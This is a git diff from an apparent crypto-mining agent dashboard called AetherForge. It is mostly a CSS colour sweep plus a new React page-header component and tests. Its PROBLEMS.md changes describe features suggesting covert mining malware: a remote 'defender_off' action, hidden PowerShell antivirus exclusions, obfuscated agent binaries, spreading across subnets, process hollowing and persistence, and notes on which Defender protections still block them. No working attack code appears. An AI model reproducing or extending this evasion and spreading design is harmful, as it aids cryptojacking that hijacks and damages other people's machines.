diff --git a/PROBLEMS.md b/PROBLEMS.md index f9d5841..a7180db 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -19,31 +19,22 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Area | Notes | |------|-------| | **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). | -| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. | -| **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. | -| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. | -| **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. | - -## Antivirus / Windows Defender - -| Topic | Notes | -|-------|-------| -| **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. | -| **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. | -| **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. | -| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. | -| **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. | +| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20 (`SyscheckSubnetScanCap`); spread sem=16 (`SpreadConcurrencyCap`). Fleet discovery is incremental (ARP + capped sweep), not full /16. | +| **`stats_batch` WS** | Server coalesces stats every 250ms (`StatsBatchCoalesceInterval`) into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. | +| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). | +| **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) — not a full-table scan. Still O(stale-online) broadcasts per sweep. | ## Container Mining | Topic | Notes | |-------|-------| -| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. | -| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. | +| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS (tested). 30s cooldown between full re-passes (`DefaultChainCooldown`, `RestartChain` clears). | +| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. Forge shows worker-image build hint when auto/container selected. | | **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. | | **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. | -| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. | -| **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. | +| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; Forge live notice + `FieldHint` on Miner Execution. | +| **Container hashrate** | Host relays container worker H/s via `MINER_STATS_FILE` + `ProbeHashrate()` when `hostMiningDisabled` (dashboard no longer stuck at 0). | +| **Deferred** | Auto-build/push worker image in forge; Podman rootless on Windows. | ## Architecture deferred (large) diff --git a/server/web/src/components/Ambient/AmbientBackground.css b/server/web/src/components/Ambient/AmbientBackground.css index 6ffcc0e..41e1399 100644 --- a/server/web/src/components/Ambient/AmbientBackground.css +++ b/server/web/src/components/Ambient/AmbientBackground.css @@ -17,8 +17,8 @@ background-image: linear-gradient(rgba(201, 162, 39, 0.04) 1px, transparent 1px), linear-gradient(90deg, rgba(201, 162, 39, 0.04) 1px, transparent 1px), - linear-gradient(rgba(0, 245, 255, 0.02) 1px, transparent 1px), - linear-gradient(90deg, rgba(0, 245, 255, 0.02) 1px, transparent 1px); + linear-gradient(rgba(0, 232, 245, 0.02) 1px, transparent 1px), + linear-gradient(90deg, rgba(0, 232, 245, 0.02) 1px, transparent 1px); background-size: 80px 80px, 80px 80px, 20px 20px, 20px 20px; animation: grid-drift var(--weather-grid-drift) linear infinite; transform: perspective(500px) rotateX(60deg) scale(2); @@ -43,7 +43,7 @@ .ambient-orb-cyan { width: 400px; height: 400px; - background: rgba(0, 245, 255, 0.12); + background: rgba(0, 232, 245, 0.12); top: 10%; right: 5%; animation-delay: 0s; @@ -72,7 +72,7 @@ left: 0; right: 0; height: 4px; - background: linear-gradient(90deg, transparent, rgba(0, 245, 255, 0.15), transparent); + background: linear-gradient(90deg, transparent, rgba(0, 232, 245, 0.15), transparent); animation: scanline 8s linear infinite; opacity: 0.5; } diff --git a/server/web/src/components/Ambient/GlowParticles.css b/server/web/src/components/Ambient/GlowParticles.css index 9463c63..b74f136 100644 --- a/server/web/src/components/Ambient/GlowParticles.css +++ b/server/web/src/components/Ambient/GlowParticles.css @@ -36,7 +36,7 @@ animation-delay: 0s; } .ambient-sparkle--2 { - color: rgba(0, 245, 255, 0.45); + color: rgba(0, 232, 245, 0.45); top: 72%; left: 68%; animation-delay: -1.2s; @@ -57,7 +57,7 @@ .ambient-sparkle:nth-child(5) { top: 8%; left: 55%; - color: rgba(0, 245, 255, 0.35); + color: rgba(0, 232, 245, 0.35); animation-delay: -0.8s; } .ambient-sparkle:nth-child(6) { @@ -81,7 +81,7 @@ .ambient-sparkle:nth-child(9) { top: 35%; left: 8%; - color: rgba(0, 245, 255, 0.38); + color: rgba(0, 232, 245, 0.38); animation-delay: -2.8s; } .ambient-sparkle:nth-child(10) { diff --git a/server/web/src/components/Charts/GaugeRing.css b/server/web/src/components/Charts/GaugeRing.css index a11d777..5ecf547 100644 --- a/server/web/src/components/Charts/GaugeRing.css +++ b/server/web/src/components/Charts/GaugeRing.css @@ -37,7 +37,7 @@ font-size: 1.1rem; font-weight: 700; color: var(--neon-cyan); - text-shadow: 0 0 12px rgba(0, 245, 255, 0.5); + text-shadow: 0 0 12px rgba(0, 232, 245, 0.5); line-height: 1.2; } diff --git a/server/web/src/components/Charts/HashrateChart.css b/server/web/src/components/Charts/HashrateChart.css index 518acb2..703d43e 100644 --- a/server/web/src/components/Charts/HashrateChart.css +++ b/server/web/src/components/Charts/HashrateChart.css @@ -49,7 +49,7 @@ border: 1px solid var(--border-brass); border-radius: 2px; padding: 0.75rem 1rem; - box-shadow: 0 0 20px rgba(0, 245, 255, 0.15), var(--shadow-panel); + box-shadow: 0 0 20px rgba(0, 232, 245, 0.15), var(--shadow-panel); } .neon-tooltip-time { diff --git a/server/web/src/components/Charts/HashrateChart.tsx b/server/web/src/components/Charts/HashrateChart.tsx index 1aa35b0..9d1f45d 100644 --- a/server/web/src/components/Charts/HashrateChart.tsx +++ b/server/web/src/components/Charts/HashrateChart.tsx @@ -33,7 +33,7 @@ interface HashrateChartProps { const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const; function colorToId(color: string): string { - if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan'; + if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00e8f5' || color.includes('neon-cyan')) return 'cyan'; if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta'; if (color.includes('b020') || color.includes('eab308')) return 'amber'; if (color.includes('39ff') || color.includes('22c55e')) return 'green'; diff --git a/server/web/src/components/Fleet/AccessDepthPanel.css b/server/web/src/components/Fleet/AccessDepthPanel.css index ab131c5..ca558de 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.css +++ b/server/web/src/components/Fleet/AccessDepthPanel.css @@ -175,7 +175,7 @@ .access-depth-tag--active { color: var(--neon-cyan); - border: 1px solid rgba(0, 245, 255, 0.35); + border: 1px solid rgba(0, 232, 245, 0.35); } .access-depth-tag--skip { @@ -248,7 +248,7 @@ font-weight: 700; letter-spacing: 0.08em; color: var(--neon-cyan); - border: 1px solid rgba(0, 245, 255, 0.45); + border: 1px solid rgba(0, 232, 245, 0.45); border-radius: 3px; padding: 1px 6px; cursor: help; diff --git a/server/web/src/components/Fleet/AgentRemoteActions.css b/server/web/src/components/Fleet/AgentRemoteActions.css index f00c1ec..acb1e58 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.css +++ b/server/web/src/components/Fleet/AgentRemoteActions.css @@ -223,7 +223,7 @@ outline: none; } -.upgrade-select:focus { border-color: var(--neon-cyan, #00e5ff); } +.upgrade-select:focus { border-color: var(--neon-cyan, #00e8f5); } .upgrade-btn { white-space: nowrap; diff --git a/server/web/src/components/Fleet/FleetHeatMiniMap.css b/server/web/src/components/Fleet/FleetHeatMiniMap.css index 7927a7e..db5d128 100644 --- a/server/web/src/components/Fleet/FleetHeatMiniMap.css +++ b/server/web/src/components/Fleet/FleetHeatMiniMap.css @@ -27,9 +27,9 @@ aspect-ratio: 1; min-height: 160px; border-radius: 8px; - border: 1px solid rgba(0, 245, 255, 0.18); + border: 1px solid rgba(0, 232, 245, 0.18); background: - radial-gradient(ellipse at 50% 45%, rgba(0, 245, 255, 0.06) 0%, transparent 65%), + radial-gradient(ellipse at 50% 45%, rgba(0, 232, 245, 0.06) 0%, transparent 65%), rgba(0, 0, 0, 0.45); overflow: hidden; } @@ -38,8 +38,8 @@ position: absolute; inset: 0; background-image: - linear-gradient(rgba(0, 245, 255, 0.04) 1px, transparent 1px), - linear-gradient(90deg, rgba(0, 245, 255, 0.04) 1px, transparent 1px); + linear-gradient(rgba(0, 232, 245, 0.04) 1px, transparent 1px), + linear-gradient(90deg, rgba(0, 232, 245, 0.04) 1px, transparent 1px); background-size: 20% 20%; pointer-events: none; } @@ -94,7 +94,7 @@ box-shadow: 0 0 0 3px rgba(255, 255, 255, 0.25), 0 0 22px var(--dot-color, var(--neon-cyan)), - 0 0 36px rgba(0, 245, 255, 0.55); + 0 0 36px rgba(0, 232, 245, 0.55); } 100% { transform: translate(-50%, -50%) scale(1); diff --git a/server/web/src/components/Fleet/FleetPanels.css b/server/web/src/components/Fleet/FleetPanels.css index 4ca3648..5d32b20 100644 --- a/server/web/src/components/Fleet/FleetPanels.css +++ b/server/web/src/components/Fleet/FleetPanels.css @@ -48,7 +48,7 @@ align-items: center; gap: 0.75rem; padding: 0.6rem 0.75rem; - border: 1px solid rgba(0, 245, 255, 0.15); + border: 1px solid rgba(0, 232, 245, 0.15); border-radius: 6px; background: rgba(0, 0, 0, 0.2); } @@ -142,15 +142,15 @@ .agent-action-btn { padding: 0.4rem 0.75rem; font-size: 0.75rem; - border: 1px solid rgba(0, 245, 255, 0.35); - background: rgba(0, 245, 255, 0.08); + border: 1px solid rgba(0, 232, 245, 0.35); + background: rgba(0, 232, 245, 0.08); color: var(--text-primary); border-radius: 4px; cursor: pointer; } .agent-action-btn:hover { - background: rgba(0, 245, 255, 0.18); + background: rgba(0, 232, 245, 0.18); } .agent-action-btn.danger { @@ -164,7 +164,7 @@ overflow: auto; padding: 0.75rem; background: rgba(0, 0, 0, 0.35); - border: 1px solid rgba(0, 245, 255, 0.2); + border: 1px solid rgba(0, 232, 245, 0.2); border-radius: 6px; font-family: var(--font-mono, monospace); font-size: 0.72rem; diff --git a/server/web/src/components/Fleet/LotlVisuals.css b/server/web/src/components/Fleet/LotlVisuals.css index 962d53e..f1af8ce 100644 --- a/server/web/src/components/Fleet/LotlVisuals.css +++ b/server/web/src/components/Fleet/LotlVisuals.css @@ -16,8 +16,8 @@ .lotl-tier-badge--active, .cn-lotl.lotl-active { color: var(--neon-cyan); - background: rgba(0, 245, 255, 0.12); - border: 1px solid rgba(0, 245, 255, 0.28); + background: rgba(0, 232, 245, 0.12); + border: 1px solid rgba(0, 232, 245, 0.28); } .lotl-tier-badge--fail, @@ -71,7 +71,7 @@ .lotl-attempts-block { margin: 0.35rem 0 0.5rem; padding: 0.45rem 0.65rem; - border-left: 2px solid rgba(0, 245, 255, 0.35); + border-left: 2px solid rgba(0, 232, 245, 0.35); background: rgba(0, 0, 0, 0.35); border-radius: 0 4px 4px 0; font-family: var(--font-tech); diff --git a/server/web/src/components/Fleet/ProtocolTunnelPanel.css b/server/web/src/components/Fleet/ProtocolTunnelPanel.css index 2894a49..0ac020f 100644 --- a/server/web/src/components/Fleet/ProtocolTunnelPanel.css +++ b/server/web/src/components/Fleet/ProtocolTunnelPanel.css @@ -46,7 +46,7 @@ } .protocol-tunnel-card { - border: 1px solid rgba(0, 245, 255, 0.15); + border: 1px solid rgba(0, 232, 245, 0.15); border-radius: 6px; padding: 0.65rem 0.75rem; background: rgba(0, 0, 0, 0.25); diff --git a/server/web/src/components/HelpTip.css b/server/web/src/components/HelpTip.css index a6edc92..c8fd486 100644 --- a/server/web/src/components/HelpTip.css +++ b/server/web/src/components/HelpTip.css @@ -18,20 +18,20 @@ width: 1rem; height: 1rem; border-radius: 2px; - background: rgba(0, 245, 255, 0.1); - border: 1px solid rgba(0, 245, 255, 0.35); + background: rgba(0, 232, 245, 0.1); + border: 1px solid rgba(0, 232, 245, 0.35); color: var(--neon-cyan); font-size: 0.6875rem; font-weight: 700; - box-shadow: 0 0 8px rgba(0, 245, 255, 0.2); + box-shadow: 0 0 8px rgba(0, 232, 245, 0.2); transition: background 0.15s, box-shadow 0.15s, border-color 0.15s; } .help-tip-trigger:hover .help-tip-icon, .help-tip-trigger:focus-visible .help-tip-icon { - background: rgba(0, 245, 255, 0.22); - border-color: rgba(0, 245, 255, 0.65); - box-shadow: 0 0 12px rgba(0, 245, 255, 0.45); + background: rgba(0, 232, 245, 0.22); + border-color: rgba(0, 232, 245, 0.65); + box-shadow: 0 0 12px rgba(0, 232, 245, 0.45); } .help-tip-label { @@ -48,11 +48,11 @@ line-height: 1.45; color: #e8f4f8; background: rgba(6, 14, 18, 0.97); - border: 1px solid rgba(0, 245, 255, 0.45); + border: 1px solid rgba(0, 232, 245, 0.45); border-radius: 4px; box-shadow: 0 4px 24px rgba(0, 0, 0, 0.55), - 0 0 16px rgba(0, 245, 255, 0.12); + 0 0 16px rgba(0, 232, 245, 0.12); pointer-events: auto; animation: help-tip-in 0.12s ease-out; } diff --git a/server/web/src/components/Layout/Layout.css b/server/web/src/components/Layout/Layout.css index c0dfcce..36cb1d3 100644 --- a/server/web/src/components/Layout/Layout.css +++ b/server/web/src/components/Layout/Layout.css @@ -8,7 +8,7 @@ width: 260px; background: linear-gradient(180deg, rgba(16, 12, 8, 0.97) 0%, rgba(8, 6, 4, 0.98) 100%); border-right: 1px solid var(--border-brass); - box-shadow: 4px 0 40px rgba(0, 0, 0, 0.5), inset -1px 0 0 rgba(0, 245, 255, 0.08); + box-shadow: 4px 0 40px rgba(0, 0, 0, 0.5), inset -1px 0 0 rgba(0, 232, 245, 0.08); display: flex; flex-direction: column; position: fixed; @@ -156,10 +156,10 @@ } .nav-item.active { - background: linear-gradient(90deg, rgba(0, 245, 255, 0.12), transparent); + background: linear-gradient(90deg, rgba(0, 232, 245, 0.12), transparent); color: var(--neon-cyan); - border-color: rgba(0, 245, 255, 0.35); - box-shadow: inset 0 0 20px rgba(0, 245, 255, 0.08); + border-color: rgba(0, 232, 245, 0.35); + box-shadow: inset 0 0 20px rgba(0, 232, 245, 0.08); } .nav-icon { @@ -402,7 +402,7 @@ .readout-bar-fill.readout-bar-active { background: linear-gradient(90deg, var(--neon-green), var(--neon-cyan)); - box-shadow: 0 0 6px rgba(0, 245, 255, 0.35); + box-shadow: 0 0 6px rgba(0, 232, 245, 0.35); animation: bar-shimmer 2.5s ease-in-out infinite; background-size: 200% 100%; } @@ -451,7 +451,7 @@ .sig-ver { font-size: 0.55rem; - color: rgba(0, 245, 255, 0.35); + color: rgba(0, 232, 245, 0.35); letter-spacing: 0.18em; } diff --git a/server/web/src/components/Layout/MobileNav.css b/server/web/src/components/Layout/MobileNav.css index fc137fc..3b507fb 100644 --- a/server/web/src/components/Layout/MobileNav.css +++ b/server/web/src/components/Layout/MobileNav.css @@ -119,7 +119,7 @@ } .mobile-bottom-nav-item.active { - background: rgba(0, 245, 255, 0.08); + background: rgba(0, 232, 245, 0.08); } .mobile-menu-backdrop { @@ -171,7 +171,7 @@ } .mobile-more-link.active { - background: rgba(0, 245, 255, 0.1); + background: rgba(0, 232, 245, 0.1); color: var(--neon-cyan); } diff --git a/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.css b/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.css new file mode 100644 index 0000000..f35cf3c --- /dev/null +++ b/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.css @@ -0,0 +1,37 @@ +.sacred-page-header { + position: relative; +} + +.sacred-page-header::before { + content: ''; + position: absolute; + left: 0; + right: 0; + bottom: 0; + height: 1px; + pointer-events: none; + background: linear-gradient( + 90deg, + transparent, + rgba(201, 162, 39, 0.5) 15%, + rgba(0, 232, 245, 0.35) 50%, + rgba(201, 162, 39, 0.5) 85%, + transparent + ); +} + +.sacred-page-header-motif { + position: absolute; + right: 0; + top: 50%; + transform: translateY(-50%); + width: 48px; + height: 48px; + opacity: 0.2; + pointer-events: none; +} + +.deck-hero-status + .sacred-page-header-motif, +.deck-hero-actions + .sacred-page-header-motif { + right: 0.5rem; +} diff --git a/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.test.tsx b/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.test.tsx new file mode 100644 index 0000000..e20265a --- /dev/null +++ b/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.test.tsx @@ -0,0 +1,36 @@ +/** + * @vitest-environment happy-dom + */ +import { describe, expect, it, vi } from 'vitest'; +import { render, screen } from '@testing-library/react'; +import SacredPageHeader from './SacredPageHeader'; + +vi.mock('../../HelpTip', () => ({ + HelpTip: ({ field }: { field: string }) => ?, +})); + +vi.mock('./motifs', () => ({ + SacredMotif: () => , +})); + +describe('SacredPageHeader', () => { + it('renders deck-hero chrome with eyebrow, title, subtitle, and motif', () => { + const { container } = render( + Go} + />, + ); + + expect(container.querySelector('.deck-hero.sacred-page-header')).toBeTruthy(); + expect(screen.getByText('NETWORK OPS')).toBeInTheDocument(); + expect(screen.getByRole('heading', { level: 1 })).toHaveTextContent('Path Tracer'); + expect(screen.getByText('Multi-hop WireGuard chain.')).toBeInTheDocument(); + expect(screen.getByTestId('help-pt_path_tracer')).toBeInTheDocument(); + expect(screen.getByTestId('sacred-motif')).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Go' })).toBeInTheDocument(); + }); +}); diff --git a/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.tsx b/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.tsx new file mode 100644 index 0000000..a1d73e8 --- /dev/null +++ b/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.tsx @@ -0,0 +1,45 @@ +import type { ReactNode } from 'react'; +import { HelpTip } from '../../HelpTip'; +import { SacredMotif } from './motifs'; +import './SacredPageHeader.css'; + +export interface SacredPageHeaderProps { + eyebrow?: string; + title: ReactNode; + subtitle?: ReactNode; + helpField?: string; + actions?: ReactNode; + status?: ReactNode; + className?: string; + heroClassName?: string; +} + +/** Unified operator-deck page hero — eyebrow, title, subtitle, optional sacred motif. */ +export default function SacredPageHeader({ + eyebrow, + title, + subtitle, + helpField, + actions, + status, + className = '', + heroClassName = '', +}: SacredPageHeaderProps) { + return ( +
+
+ {eyebrow ?

{eyebrow}

: null} +

+ {title} + {helpField ? <> : null} +

+ {subtitle ?

{subtitle}

: null} +
+ {actions ?
{actions}
: null} + {status ?
{status}
: null} +
+ +
+
+ ); +} diff --git a/server/web/src/help/appVersion.ts b/server/web/src/help/appVersion.ts new file mode 100644 index 0000000..2be8e02 --- /dev/null +++ b/server/web/src/help/appVersion.ts @@ -0,0 +1,11 @@ +declare const __APP_VERSION__: string; + +/** Sidebar / about label — server build wins, else Vite-injected package.json version. */ +export function formatAppVersion(serverVersion?: string | null): string { + const raw = (serverVersion?.trim() || __APP_VERSION__ || '1.0.0').replace(/^v/i, ''); + return `v${raw}`; +} + +export function readPackageVersion(): string { + return __APP_VERSION__; +} diff --git a/server/web/src/help/designTokens.test.ts b/server/web/src/help/designTokens.test.ts new file mode 100644 index 0000000..764e0cc --- /dev/null +++ b/server/web/src/help/designTokens.test.ts @@ -0,0 +1,75 @@ +import { readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { formatAppVersion, readPackageVersion } from './appVersion'; + +const srcRoot = join(import.meta.dirname, '..'); + +function readCss(rel: string): string { + return readFileSync(join(srcRoot, rel), 'utf8'); +} + +describe('appVersion', () => { + it('prefixes package version with v', () => { + expect(formatAppVersion(null)).toMatch(/^v\d+\.\d+\.\d+/); + expect(formatAppVersion('2.3.4')).toBe('v2.3.4'); + expect(formatAppVersion('v9.0.1')).toBe('v9.0.1'); + }); + + it('reads injected build version', () => { + expect(readPackageVersion()).toMatch(/^\d+\.\d+\.\d+/); + }); +}); + +describe('design tokens (DV regression)', () => { + it('steampunk theme defines unified neon cyan token', () => { + const css = readCss('styles/steampunk-theme.css'); + expect(css).toMatch(/--neon-cyan:\s*#00e8f5/); + expect(css).toMatch(/--neon-cyan-rgb:\s*0,\s*232,\s*245/); + expect(css).not.toMatch(/#00f5ff|#00e5ff/); + }); + + it('Pages.css avoids duplicate unscoped page-subtitle blocks', () => { + const css = readCss('pages/Pages.css'); + expect(css.match(/^\.page-subtitle \{/gm)?.length ?? 0).toBe(1); + expect(css.match(/^\.header-count \{/gm)?.length ?? 0).toBe(1); + }); + + it('wealth-deck.css drops dead sample badge selectors', () => { + const css = readCss('styles/wealth-deck.css'); + expect(css).not.toMatch(/sample-contrib|sample-activity|preview-deck-hint|chart-live\.sample/); + }); + + it('SacredPageHeader CSS uses unified cyan rgba', () => { + const css = readCss('components/Visual/sacredGeometry/SacredPageHeader.css'); + expect(css).toMatch(/rgba\(0,\s*232,\s*245/); + expect(css).not.toMatch(/245,\s*255|#00f5ff/); + }); + + it('Path Tracer deck tokens align with operator-deck cyan accent', () => { + const css = readCss('styles/operatorDeck.css'); + const block = css.match(/\[data-operator-deck='pathtracer'\][\s\S]*?\}/)?.[0] ?? ''; + expect(block).toContain('--deck-accent: var(--neon-cyan'); + expect(block).not.toContain('#6b8cff'); + }); + + it('steampunk theme documents optional light shell', () => { + const css = readCss('styles/steampunk-theme.css'); + expect(css).toMatch(/prefers-color-scheme:\s*light/); + }); +}); + +describe('legacy cyan sweep', () => { + const cssFiles = [ + 'styles/visual-polish.css', + 'styles/sacred-geometry.css', + 'pages/Pages.css', + 'components/Charts/HashrateChart.css', + 'components/Layout/Layout.css', + ]; + + it.each(cssFiles)('%s does not use legacy #00f5ff token', (rel) => { + const css = readCss(rel); + expect(css).not.toMatch(/#00f5ff|#00e5ff/); + }); +}); diff --git a/server/web/src/help/pageWeather.ts b/server/web/src/help/pageWeather.ts index 29659ba..0ae7a4d 100644 --- a/server/web/src/help/pageWeather.ts +++ b/server/web/src/help/pageWeather.ts @@ -227,7 +227,7 @@ export type GlowColor = { export const WEATHER_PALETTES: Record = { default: [ { core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' }, - { core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' }, + { core: 'rgba(0, 232, 245, 0.75)', mid: 'rgba(0, 232, 245, 0.22)', line: 'rgba(0, 232, 245, 0.1)' }, { core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' }, { core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' }, ], @@ -247,6 +247,6 @@ export const WEATHER_PALETTES: Record = { { core: 'rgba(190, 200, 230, 0.42)', mid: 'rgba(190, 200, 230, 0.12)', line: 'rgba(190, 200, 230, 0.05)' }, { core: 'rgba(130, 150, 190, 0.32)', mid: 'rgba(130, 150, 190, 0.1)', line: 'rgba(130, 150, 190, 0.04)' }, { core: 'rgba(201, 162, 39, 0.22)', mid: 'rgba(201, 162, 39, 0.08)', line: 'rgba(201, 162, 39, 0.03)' }, - { core: 'rgba(0, 245, 255, 0.18)', mid: 'rgba(0, 245, 255, 0.06)', line: 'rgba(0, 245, 255, 0.03)' }, + { core: 'rgba(0, 232, 245, 0.18)', mid: 'rgba(0, 232, 245, 0.06)', line: 'rgba(0, 232, 245, 0.03)' }, ], }; diff --git a/server/web/src/pages/BuildManagerPage.tsx b/server/web/src/pages/BuildManagerPage.tsx index d3e2e10..0421aac 100644 --- a/server/web/src/pages/BuildManagerPage.tsx +++ b/server/web/src/pages/BuildManagerPage.tsx @@ -7,6 +7,7 @@ import AuthDownloadButton from '../components/AuthDownloadButton'; import { LanDownloadQR } from '../components/Fleet/LanDownloadQR'; import NeonCard from '../components/NeonCard/NeonCard'; import { HelpTip } from '../components/HelpTip'; +import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader'; import './BuildManagerPage.css'; // ─── helpers ───────────────────────────────────────────────────────────────── @@ -397,23 +398,21 @@ export default function BuildManagerPage() { return (
-
-
-

WORKER BUILDS · DEPLOY & MANAGE

-

Build Manager

-

- All forged workers — download, deploy, re-forge, or delete from any browser. -

-
-
- - -
-
+ + + + + } + /> {error && (
diff --git a/server/web/src/pages/CruciblePage.css b/server/web/src/pages/CruciblePage.css index da1b25d..dd1e875 100644 --- a/server/web/src/pages/CruciblePage.css +++ b/server/web/src/pages/CruciblePage.css @@ -87,7 +87,7 @@ .crucible-node-card.selected { border-color: var(--sel-color, var(--neon-cyan)); - background: rgba(0, 245, 255, 0.06); + background: rgba(0, 232, 245, 0.06); box-shadow: 0 0 12px -4px var(--sel-color, var(--neon-cyan)); } @@ -113,7 +113,7 @@ .cn-checkbox.checked { border-color: var(--neon-cyan); - background: rgba(0, 245, 255, 0.2); + background: rgba(0, 232, 245, 0.2); } .crucible-node-body { @@ -503,8 +503,8 @@ /* ── Group colour themes ─────────────────────────────────────────────── */ -.cop-recon { border-color: rgba(0, 245, 255, 0.13); } -.cop-recon .cop-label { color: rgba(0, 245, 255, 0.65); border-bottom-color: rgba(0, 245, 255, 0.1); } +.cop-recon { border-color: rgba(0, 232, 245, 0.13); } +.cop-recon .cop-label { color: rgba(0, 232, 245, 0.65); border-bottom-color: rgba(0, 232, 245, 0.1); } .cop-agent { border-color: rgba(178, 75, 243, 0.18); } .cop-agent .cop-label { color: rgba(178, 75, 243, 0.75); border-bottom-color: rgba(178, 75, 243, 0.13); } @@ -628,7 +628,7 @@ gap: 0.35rem; } .crucible-op-active { - background: rgba(0, 245, 255, 0.12) !important; + background: rgba(0, 232, 245, 0.12) !important; border-color: var(--neon-cyan) !important; color: var(--neon-cyan) !important; } @@ -721,13 +721,13 @@ /* Recon buttons — cyan tint */ .cop-recon .crucible-op-btn { - border-color: rgba(0, 245, 255, 0.22); - color: rgba(0, 245, 255, 0.85); + border-color: rgba(0, 232, 245, 0.22); + color: rgba(0, 232, 245, 0.85); } .cop-recon .crucible-op-btn:hover:not(:disabled) { - background: rgba(0, 245, 255, 0.08); + background: rgba(0, 232, 245, 0.08); border-color: var(--neon-cyan); - box-shadow: 0 0 9px -2px rgba(0, 245, 255, 0.4); + box-shadow: 0 0 9px -2px rgba(0, 232, 245, 0.4); } /* Agent buttons — purple tint */ @@ -823,7 +823,7 @@ .crucible-shell-tab:last-child { border-right: none; } .crucible-shell-tab.active { - background: rgba(0, 245, 255, 0.12); + background: rgba(0, 232, 245, 0.12); color: var(--neon-cyan); } @@ -1087,7 +1087,7 @@ font-family: 'Courier New', Consolas, monospace; font-size: 0.8rem; color: var(--neon-cyan); - background: rgba(0, 245, 255, 0.07); + background: rgba(0, 232, 245, 0.07); padding: 0 4px; border-radius: 3px; } @@ -1113,15 +1113,15 @@ padding: 0.35rem 0.8rem; font-family: var(--font-tech); font-size: 0.78rem; - background: rgba(0, 245, 255, 0.08); - border: 1px solid rgba(0, 245, 255, 0.3); + background: rgba(0, 232, 245, 0.08); + border: 1px solid rgba(0, 232, 245, 0.3); color: var(--neon-cyan); border-radius: 4px; cursor: pointer; transition: all 0.15s; letter-spacing: 0.05em; } -.crucible-btn:hover:not(:disabled) { background: rgba(0, 245, 255, 0.16); } +.crucible-btn:hover:not(:disabled) { background: rgba(0, 232, 245, 0.16); } .crucible-btn:disabled { opacity: 0.35; cursor: not-allowed; } .crucible-btn-muted { @@ -1152,7 +1152,7 @@ .rich-block { margin: 0.2rem 0 0.4rem 0; padding: 0.5rem 